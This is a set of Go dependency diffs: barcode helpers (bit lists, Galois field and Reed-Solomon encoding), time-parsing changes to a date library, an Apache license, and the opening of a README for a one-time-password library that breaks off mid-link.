func scale1DCode(bc Barcode, width, height int) (Barcode, error) {
|
||||
orgBounds := bc.Bounds()
|
||||
orgWidth := orgBounds.Max.X - orgBounds.Min.X
|
||||
factor := int(float64(width) / float64(orgWidth))
|
||||
|
||||
if factor <= 0 {
|
||||
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx1", orgWidth)
|
||||
}
|
||||
offsetX := (width - (orgWidth * factor)) / 2
|
||||
|
||||
wrap := func(x, y int) color.Color {
|
||||
if x < offsetX {
|
||||
return color.White
|
||||
}
|
||||
x = (x - offsetX) / factor
|
||||
|
||||
if x >= orgWidth {
|
||||
return color.White
|
||||
}
|
||||
return bc.At(x, 0)
|
||||
}
|
||||
|
||||
return newScaledBC(
|
||||
bc,
|
||||
wrap,
|
||||
image.Rect(0, 0, width, height),
|
||||
), nil
|
||||
}
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
// Package utils contain some utilities which are needed to create barcodes
|
||||
package utils
|
||||
|
||||
import (
|
||||
"image"
|
||||
"image/color"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
)
|
||||
|
||||
type base1DCode struct {
|
||||
*BitList
|
||||
kind string
|
||||
content string
|
||||
}
|
||||
|
||||
type base1DCodeIntCS struct {
|
||||
base1DCode
|
||||
checksum int
|
||||
}
|
||||
|
||||
func (c *base1DCode) Content() string {
|
||||
return c.content
|
||||
}
|
||||
|
||||
func (c *base1DCode) Metadata() barcode.Metadata {
|
||||
return barcode.Metadata{c.kind, 1}
|
||||
}
|
||||
|
||||
func (c *base1DCode) ColorModel() color.Model {
|
||||
return color.Gray16Model
|
||||
}
|
||||
|
||||
func (c *base1DCode) Bounds() image.Rectangle {
|
||||
return image.Rect(0, 0, c.Len(), 1)
|
||||
}
|
||||
|
||||
func (c *base1DCode) At(x, y int) color.Color {
|
||||
if c.GetBit(x) {
|
||||
return color.Black
|
||||
}
|
||||
return color.White
|
||||
}
|
||||
|
||||
func (c *base1DCodeIntCS) CheckSum() int {
|
||||
return c.checksum
|
||||
}
|
||||
|
||||
// New1DCodeIntCheckSum creates a new 1D barcode where the bars are represented by the bits in the bars BitList
|
||||
func New1DCodeIntCheckSum(codeKind, content string, bars *BitList, checksum int) barcode.BarcodeIntCS {
|
||||
return &base1DCodeIntCS{base1DCode{bars, codeKind, content}, checksum}
|
||||
}
|
||||
|
||||
// New1DCode creates a new 1D barcode where the bars are represented by the bits in the bars BitList
|
||||
func New1DCode(codeKind, content string, bars *BitList) barcode.Barcode {
|
||||
return &base1DCode{bars, codeKind, content}
|
||||
}
|
||||
+119
@@ -0,0 +1,119 @@
|
||||
package utils
|
||||
|
||||
// BitList is a list that contains bits
|
||||
type BitList struct {
|
||||
count int
|
||||
data []int32
|
||||
}
|
||||
|
||||
// NewBitList returns a new BitList with the given length
|
||||
// all bits are initialize with false
|
||||
func NewBitList(capacity int) *BitList {
|
||||
bl := new(BitList)
|
||||
bl.count = capacity
|
||||
x := 0
|
||||
if capacity%32 != 0 {
|
||||
x = 1
|
||||
}
|
||||
bl.data = make([]int32, capacity/32+x)
|
||||
return bl
|
||||
}
|
||||
|
||||
// Len returns the number of contained bits
|
||||
func (bl *BitList) Len() int {
|
||||
return bl.count
|
||||
}
|
||||
|
||||
func (bl *BitList) grow() {
|
||||
growBy := len(bl.data)
|
||||
if growBy < 128 {
|
||||
growBy = 128
|
||||
} else if growBy >= 1024 {
|
||||
growBy = 1024
|
||||
}
|
||||
|
||||
nd := make([]int32, len(bl.data)+growBy)
|
||||
copy(nd, bl.data)
|
||||
bl.data = nd
|
||||
}
|
||||
|
||||
// AddBit appends the given bits to the end of the list
|
||||
func (bl *BitList) AddBit(bits ...bool) {
|
||||
for _, bit := range bits {
|
||||
itmIndex := bl.count / 32
|
||||
for itmIndex >= len(bl.data) {
|
||||
bl.grow()
|
||||
}
|
||||
bl.SetBit(bl.count, bit)
|
||||
bl.count++
|
||||
}
|
||||
}
|
||||
|
||||
// SetBit sets the bit at the given index to the given value
|
||||
func (bl *BitList) SetBit(index int, value bool) {
|
||||
itmIndex := index / 32
|
||||
itmBitShift := 31 - (index % 32)
|
||||
if value {
|
||||
bl.data[itmIndex] = bl.data[itmIndex] | 1<<uint(itmBitShift)
|
||||
} else {
|
||||
bl.data[itmIndex] = bl.data[itmIndex] & ^(1 << uint(itmBitShift))
|
||||
}
|
||||
}
|
||||
|
||||
// GetBit returns the bit at the given index
|
||||
func (bl *BitList) GetBit(index int) bool {
|
||||
itmIndex := index / 32
|
||||
itmBitShift := 31 - (index % 32)
|
||||
return ((bl.data[itmIndex] >> uint(itmBitShift)) & 1) == 1
|
||||
}
|
||||
|
||||
// AddByte appends all 8 bits of the given byte to the end of the list
|
||||
func (bl *BitList) AddByte(b byte) {
|
||||
for i := 7; i >= 0; i-- {
|
||||
bl.AddBit(((b >> uint(i)) & 1) == 1)
|
||||
}
|
||||
}
|
||||
|
||||
// AddBits appends the last (LSB) 'count' bits of 'b' the the end of the list
|
||||
func (bl *BitList) AddBits(b int, count byte) {
|
||||
for i := int(count) - 1; i >= 0; i-- {
|
||||
bl.AddBit(((b >> uint(i)) & 1) == 1)
|
||||
}
|
||||
}
|
||||
|
||||
// GetBytes returns all bits of the BitList as a []byte
|
||||
func (bl *BitList) GetBytes() []byte {
|
||||
len := bl.count >> 3
|
||||
if (bl.count % 8) != 0 {
|
||||
len++
|
||||
}
|
||||
result := make([]byte, len)
|
||||
for i := 0; i < len; i++ {
|
||||
shift := (3 - (i % 4)) * 8
|
||||
result[i] = (byte)((bl.data[i/4] >> uint(shift)) & 0xFF)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// IterateBytes iterates through all bytes contained in the BitList
|
||||
func (bl *BitList) IterateBytes() <-chan byte {
|
||||
res := make(chan byte)
|
||||
|
||||
go func() {
|
||||
c := bl.count
|
||||
shift := 24
|
||||
i := 0
|
||||
for c > 0 {
|
||||
res <- byte((bl.data[i] >> uint(shift)) & 0xFF)
|
||||
shift -= 8
|
||||
if shift < 0 {
|
||||
shift = 24
|
||||
i++
|
||||
}
|
||||
c -= 8
|
||||
}
|
||||
close(res)
|
||||
}()
|
||||
|
||||
return res
|
||||
}
|
||||
+65
@@ -0,0 +1,65 @@
|
||||
package utils
|
||||
|
||||
// GaloisField encapsulates galois field arithmetics
|
||||
type GaloisField struct {
|
||||
Size int
|
||||
Base int
|
||||
ALogTbl []int
|
||||
LogTbl []int
|
||||
}
|
||||
|
||||
// NewGaloisField creates a new galois field
|
||||
func NewGaloisField(pp, fieldSize, b int) *GaloisField {
|
||||
result := new(GaloisField)
|
||||
|
||||
result.Size = fieldSize
|
||||
result.Base = b
|
||||
result.ALogTbl = make([]int, fieldSize)
|
||||
result.LogTbl = make([]int, fieldSize)
|
||||
|
||||
x := 1
|
||||
for i := 0; i < fieldSize; i++ {
|
||||
result.ALogTbl[i] = x
|
||||
x = x * 2
|
||||
if x >= fieldSize {
|
||||
x = (x ^ pp) & (fieldSize - 1)
|
||||
}
|
||||
}
|
||||
|
||||
for i := 0; i < fieldSize; i++ {
|
||||
result.LogTbl[result.ALogTbl[i]] = int(i)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (gf *GaloisField) Zero() *GFPoly {
|
||||
return NewGFPoly(gf, []int{0})
|
||||
}
|
||||
|
||||
// AddOrSub add or substract two numbers
|
||||
func (gf *GaloisField) AddOrSub(a, b int) int {
|
||||
return a ^ b
|
||||
}
|
||||
|
||||
// Multiply multiplys two numbers
|
||||
func (gf *GaloisField) Multiply(a, b int) int {
|
||||
if a == 0 || b == 0 {
|
||||
return 0
|
||||
}
|
||||
return gf.ALogTbl[(gf.LogTbl[a]+gf.LogTbl[b])%(gf.Size-1)]
|
||||
}
|
||||
|
||||
// Divide divides two numbers
|
||||
func (gf *GaloisField) Divide(a, b int) int {
|
||||
if b == 0 {
|
||||
panic("divide by zero")
|
||||
} else if a == 0 {
|
||||
return 0
|
||||
}
|
||||
return gf.ALogTbl[(gf.LogTbl[a]-gf.LogTbl[b])%(gf.Size-1)]
|
||||
}
|
||||
|
||||
func (gf *GaloisField) Invers(num int) int {
|
||||
return gf.ALogTbl[(gf.Size-1)-gf.LogTbl[num]]
|
||||
}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
package utils
|
||||
|
||||
type GFPoly struct {
|
||||
gf *GaloisField
|
||||
Coefficients []int
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Degree() int {
|
||||
return len(gp.Coefficients) - 1
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Zero() bool {
|
||||
return gp.Coefficients[0] == 0
|
||||
}
|
||||
|
||||
// GetCoefficient returns the coefficient of x ^ degree
|
||||
func (gp *GFPoly) GetCoefficient(degree int) int {
|
||||
return gp.Coefficients[gp.Degree()-degree]
|
||||
}
|
||||
|
||||
func (gp *GFPoly) AddOrSubstract(other *GFPoly) *GFPoly {
|
||||
if gp.Zero() {
|
||||
return other
|
||||
} else if other.Zero() {
|
||||
return gp
|
||||
}
|
||||
smallCoeff := gp.Coefficients
|
||||
largeCoeff := other.Coefficients
|
||||
if len(smallCoeff) > len(largeCoeff) {
|
||||
largeCoeff, smallCoeff = smallCoeff, largeCoeff
|
||||
}
|
||||
sumDiff := make([]int, len(largeCoeff))
|
||||
lenDiff := len(largeCoeff) - len(smallCoeff)
|
||||
copy(sumDiff, largeCoeff[:lenDiff])
|
||||
for i := lenDiff; i < len(largeCoeff); i++ {
|
||||
sumDiff[i] = int(gp.gf.AddOrSub(int(smallCoeff[i-lenDiff]), int(largeCoeff[i])))
|
||||
}
|
||||
return NewGFPoly(gp.gf, sumDiff)
|
||||
}
|
||||
|
||||
func (gp *GFPoly) MultByMonominal(degree int, coeff int) *GFPoly {
|
||||
if coeff == 0 {
|
||||
return gp.gf.Zero()
|
||||
}
|
||||
size := len(gp.Coefficients)
|
||||
result := make([]int, size+degree)
|
||||
for i := 0; i < size; i++ {
|
||||
result[i] = int(gp.gf.Multiply(int(gp.Coefficients[i]), int(coeff)))
|
||||
}
|
||||
return NewGFPoly(gp.gf, result)
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Multiply(other *GFPoly) *GFPoly {
|
||||
if gp.Zero() || other.Zero() {
|
||||
return gp.gf.Zero()
|
||||
}
|
||||
aCoeff := gp.Coefficients
|
||||
aLen := len(aCoeff)
|
||||
bCoeff := other.Coefficients
|
||||
bLen := len(bCoeff)
|
||||
product := make([]int, aLen+bLen-1)
|
||||
for i := 0; i < aLen; i++ {
|
||||
ac := int(aCoeff[i])
|
||||
for j := 0; j < bLen; j++ {
|
||||
bc := int(bCoeff[j])
|
||||
product[i+j] = int(gp.gf.AddOrSub(int(product[i+j]), gp.gf.Multiply(ac, bc)))
|
||||
}
|
||||
}
|
||||
return NewGFPoly(gp.gf, product)
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Divide(other *GFPoly) (quotient *GFPoly, remainder *GFPoly) {
|
||||
quotient = gp.gf.Zero()
|
||||
remainder = gp
|
||||
fld := gp.gf
|
||||
denomLeadTerm := other.GetCoefficient(other.Degree())
|
||||
inversDenomLeadTerm := fld.Invers(int(denomLeadTerm))
|
||||
for remainder.Degree() >= other.Degree() && !remainder.Zero() {
|
||||
degreeDiff := remainder.Degree() - other.Degree()
|
||||
scale := int(fld.Multiply(int(remainder.GetCoefficient(remainder.Degree())), inversDenomLeadTerm))
|
||||
term := other.MultByMonominal(degreeDiff, scale)
|
||||
itQuot := NewMonominalPoly(fld, degreeDiff, scale)
|
||||
quotient = quotient.AddOrSubstract(itQuot)
|
||||
remainder = remainder.AddOrSubstract(term)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func NewMonominalPoly(field *GaloisField, degree int, coeff int) *GFPoly {
|
||||
if coeff == 0 {
|
||||
return field.Zero()
|
||||
}
|
||||
result := make([]int, degree+1)
|
||||
result[0] = coeff
|
||||
return NewGFPoly(field, result)
|
||||
}
|
||||
|
||||
func NewGFPoly(field *GaloisField, coefficients []int) *GFPoly {
|
||||
for len(coefficients) > 1 && coefficients[0] == 0 {
|
||||
coefficients = coefficients[1:]
|
||||
}
|
||||
return &GFPoly{field, coefficients}
|
||||
}
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"sync"
|
||||
)
|
||||
|
||||
type ReedSolomonEncoder struct {
|
||||
gf *GaloisField
|
||||
polynomes []*GFPoly
|
||||
m *sync.Mutex
|
||||
}
|
||||
|
||||
func NewReedSolomonEncoder(gf *GaloisField) *ReedSolomonEncoder {
|
||||
return &ReedSolomonEncoder{
|
||||
gf, []*GFPoly{NewGFPoly(gf, []int{1})}, new(sync.Mutex),
|
||||
}
|
||||
}
|
||||
|
||||
func (rs *ReedSolomonEncoder) getPolynomial(degree int) *GFPoly {
|
||||
rs.m.Lock()
|
||||
defer rs.m.Unlock()
|
||||
|
||||
if degree >= len(rs.polynomes) {
|
||||
last := rs.polynomes[len(rs.polynomes)-1]
|
||||
for d := len(rs.polynomes); d <= degree; d++ {
|
||||
next := last.Multiply(NewGFPoly(rs.gf, []int{1, rs.gf.ALogTbl[d-1+rs.gf.Base]}))
|
||||
rs.polynomes = append(rs.polynomes, next)
|
||||
last = next
|
||||
}
|
||||
}
|
||||
return rs.polynomes[degree]
|
||||
}
|
||||
|
||||
func (rs *ReedSolomonEncoder) Encode(data []int, eccCount int) []int {
|
||||
generator := rs.getPolynomial(eccCount)
|
||||
info := NewGFPoly(rs.gf, data)
|
||||
info = info.MultByMonominal(eccCount, 1)
|
||||
_, remainder := info.Divide(generator)
|
||||
|
||||
result := make([]int, eccCount)
|
||||
numZero := int(eccCount) - len(remainder.Coefficients)
|
||||
copy(result[numZero:], remainder.Coefficients)
|
||||
return result
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package utils
|
||||
|
||||
// RuneToInt converts a rune between '0' and '9' to an integer between 0 and 9
|
||||
// If the rune is outside of this range -1 is returned.
|
||||
func RuneToInt(r rune) int {
|
||||
if r >= '0' && r <= '9' {
|
||||
return int(r - '0')
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// IntToRune converts a digit 0 - 9 to the rune '0' - '9'. If the given int is outside
|
||||
// of this range 'F' is returned!
|
||||
func IntToRune(i int) rune {
|
||||
if i >= 0 && i <= 9 {
|
||||
return rune(i + '0')
|
||||
}
|
||||
return 'F'
|
||||
}
|
||||
-3
@@ -27,9 +27,6 @@ now.BeginningOfMonth() // 2013-11-01 00:00:00 Fri
|
||||
now.BeginningOfQuarter() // 2013-10-01 00:00:00 Tue
|
||||
now.BeginningOfYear() // 2013-01-01 00:00:00 Tue
|
||||
|
||||
now.WeekStartDay = time.Monday // Set Monday as first day, default is Sunday
|
||||
now.BeginningOfWeek() // 2013-11-18 00:00:00 Mon
|
||||
|
||||
now.EndOfMinute() // 2013-11-18 17:51:59.999999999 Mon
|
||||
now.EndOfHour() // 2013-11-18 17:59:59.999999999 Mon
|
||||
now.EndOfDay() // 2013-11-18 23:59:59.999999999 Mon
|
||||
|
||||
+1
-1
@@ -19,7 +19,7 @@ var TimeFormats = []string{
|
||||
"2006", "2006-1", "2006-1-2", "2006-1-2 15", "2006-1-2 15:4", "2006-1-2 15:4:5", "1-2",
|
||||
"15:4:5", "15:4", "15",
|
||||
"15:4:5 Jan 2, 2006 MST", "2006-01-02 15:04:05.999999999 -0700 MST", "2006-01-02T15:04:05-07:00",
|
||||
"2006.1.2", "2006.1.2 15:04:05", "2006.01.02", "2006.01.02 15:04:05",
|
||||
"2006.1.2", "2006.1.2 15:04:05", "2006.01.02", "2006.01.02 15:04:05", "2006.01.02 15:04:05.999999999",
|
||||
"1/2/2006", "1/2/2006 15:4:5", "2006/01/02", "2006/01/02 15:04:05",
|
||||
time.ANSIC, time.UnixDate, time.RubyDate, time.RFC822, time.RFC822Z, time.RFC850,
|
||||
time.RFC1123, time.RFC1123Z, time.RFC3339, time.RFC3339Nano,
|
||||
|
||||
+3
-4
@@ -152,9 +152,9 @@ func (now *Now) Parse(strs ...string) (t time.Time, err error) {
|
||||
var (
|
||||
setCurrentTime bool
|
||||
parseTime []int
|
||||
currentTime = []int{now.Nanosecond(), now.Second(), now.Minute(), now.Hour(), now.Day(), int(now.Month()), now.Year()}
|
||||
currentLocation = now.Location()
|
||||
onlyTimeInStr = true
|
||||
currentTime = formatTimeToList(now.Time)
|
||||
)
|
||||
|
||||
for _, str := range strs {
|
||||
@@ -162,8 +162,7 @@ func (now *Now) Parse(strs ...string) (t time.Time, err error) {
|
||||
onlyTimeInStr = hasTimeInStr && onlyTimeInStr && onlyTimeRegexp.MatchString(str)
|
||||
if t, err = now.parseWithFormat(str, currentLocation); err == nil {
|
||||
location := t.Location()
|
||||
|
||||
parseTime = []int{t.Nanosecond(), t.Second(), t.Minute(), t.Hour(), t.Day(), int(t.Month()), t.Year()}
|
||||
parseTime = formatTimeToList(t)
|
||||
|
||||
for i, v := range parseTime {
|
||||
// Don't reset hour, minute, second if current time str including time
|
||||
@@ -190,7 +189,7 @@ func (now *Now) Parse(strs ...string) (t time.Time, err error) {
|
||||
}
|
||||
|
||||
t = time.Date(parseTime[6], time.Month(parseTime[5]), parseTime[4], parseTime[3], parseTime[2], parseTime[1], parseTime[0], location)
|
||||
currentTime = []int{t.Nanosecond(), t.Second(), t.Minute(), t.Hour(), t.Day(), int(t.Month()), t.Year()}
|
||||
currentTime = formatTimeToList(t)
|
||||
}
|
||||
}
|
||||
return
|
||||
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
package now
|
||||
|
||||
import "time"
|
||||
|
||||
func formatTimeToList(t time.Time) []int {
|
||||
hour, min, sec := t.Clock()
|
||||
year, month, day := t.Date()
|
||||
return []int{t.Nanosecond(), sec, min, hour, day, int(month), year}
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
arch:
|
||||
- amd64
|
||||
- ppc64le
|
||||
language: go
|
||||
|
||||
env:
|
||||
- GO111MODULE=on
|
||||
|
||||
go:
|
||||
- "1.15"
|
||||
+202
@@ -0,0 +1,202 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
otp
|
||||
Copyright (c) 2014, Paul Querna
|
||||
|
||||
This product includes software developed by
|
||||
Paul Querna (http://paul.querna.org/).
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
# otp: One Time Password utilities Go / Golang
|
||||
|
||||
[](https://pkg.go.dev/github.com/pquerna/otp) [](https://travis-ci.org/pquerna/otp)
|
||||
|
||||
# Why One Time Passwords?
|
||||
|
||||
One Time Passwords (OTPs) are an mechanism to improve security over passwords alone. When a Time-based OTP (TOTP) is stored on a user's phone, and combined with something the user knows (Password), you have an easy on-ramp to [Multi-factor authentication](http://en.wikipedia.org/wiki/Multi-factor_authentication) without adding a dependency on a SMS provider. This Password and TOTP combination is used by many popular websites including Google, Github, Facebook, Salesforce and many others.
|
||||
|
||||
The `otp` library enables you to easily add TOTPs to your own application, increasing your user's security against mass-password breaches and malware.
|
||||
|
||||
Because TOTP is standardized and widely deployed, there are many [mobile clients and software implementations](http://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm#Client_implementations).
|
||||
|
||||
## `otp` Supports:
|
||||
|
||||
* Generating QR Code images for easy user enrollment.
|
||||
* Time-based One-time Password Algorithm (TOTP) (RFC 6238): Time based OTP, the most commonly used method.
|
||||
* HMAC-based One-time Password Algorithm (HOTP) (RFC 4226): Counter based OTP, which TOTP is based upon.
|
||||
* Generation and Validation of codes for either algorithm.
|
||||
|
||||
## Implementing TOTP in your application:
|
||||
|
||||
### User Enrollment
|
||||
|
||||
For an example of a working enrollment work flow, [Github has documented theirs](https://help.github.com/articles/configuring-two-factor-authentication-via-a-totp-mobile-app/
|
||||
), but the basics are:
|
||||
|
||||
1. Generate new TOTP Key for a User. `key,_ := totp.Generate(...)`.
|
||||
1. Display the Key's Secret and QR-Code for the User. `key.Secret()` and `key.Image(...)`.
|
||||
1. Test that the user can successfully use their TOTP. `totp.Validate(...)`.
|
||||
1. Store TOTP Secret for the User in your backend. `key.Secret()`
|
||||
1. Provide the user with "recovery codes". (See Recovery Codes bellow)
|
||||
|
||||
### Code Generation
|
||||
|
||||
* In either TOTP or HOTP cases, use the `GenerateCode` function and a counter or
|
||||
`time.Time` struct to generate a valid code compatible with most implementations.
|
||||
* For uncommon or custom settings, or to catch unlikely errors, use `GenerateCodeCustom`
|
||||
in either module.
|
||||
|
||||
### Validation
|
||||
|
||||
1. Prompt and validate User's password as normal.
|
||||
1. If the user has TOTP enabled, prompt for TOTP passcode.
|
||||
1. Retrieve the User's TOTP Secret from your backend.
|
||||
1. Validate the user's passcode. `totp.Validate(...)`
|
||||
|
||||
|
||||
### Recovery Codes
|
||||
|
||||
When a user loses access to their TOTP device, they would no longer have access to their account. Because TOTPs are often configured on mobile devices that can be lost, stolen or damaged, this is a common problem. For this reason many providers give their users "backup codes" or "recovery codes". These are a set of one time use codes that can be used instead of the TOTP. These can simply be randomly generated strings that you store in your backend. [Github's documentation provides an overview of the user experience](
|
||||
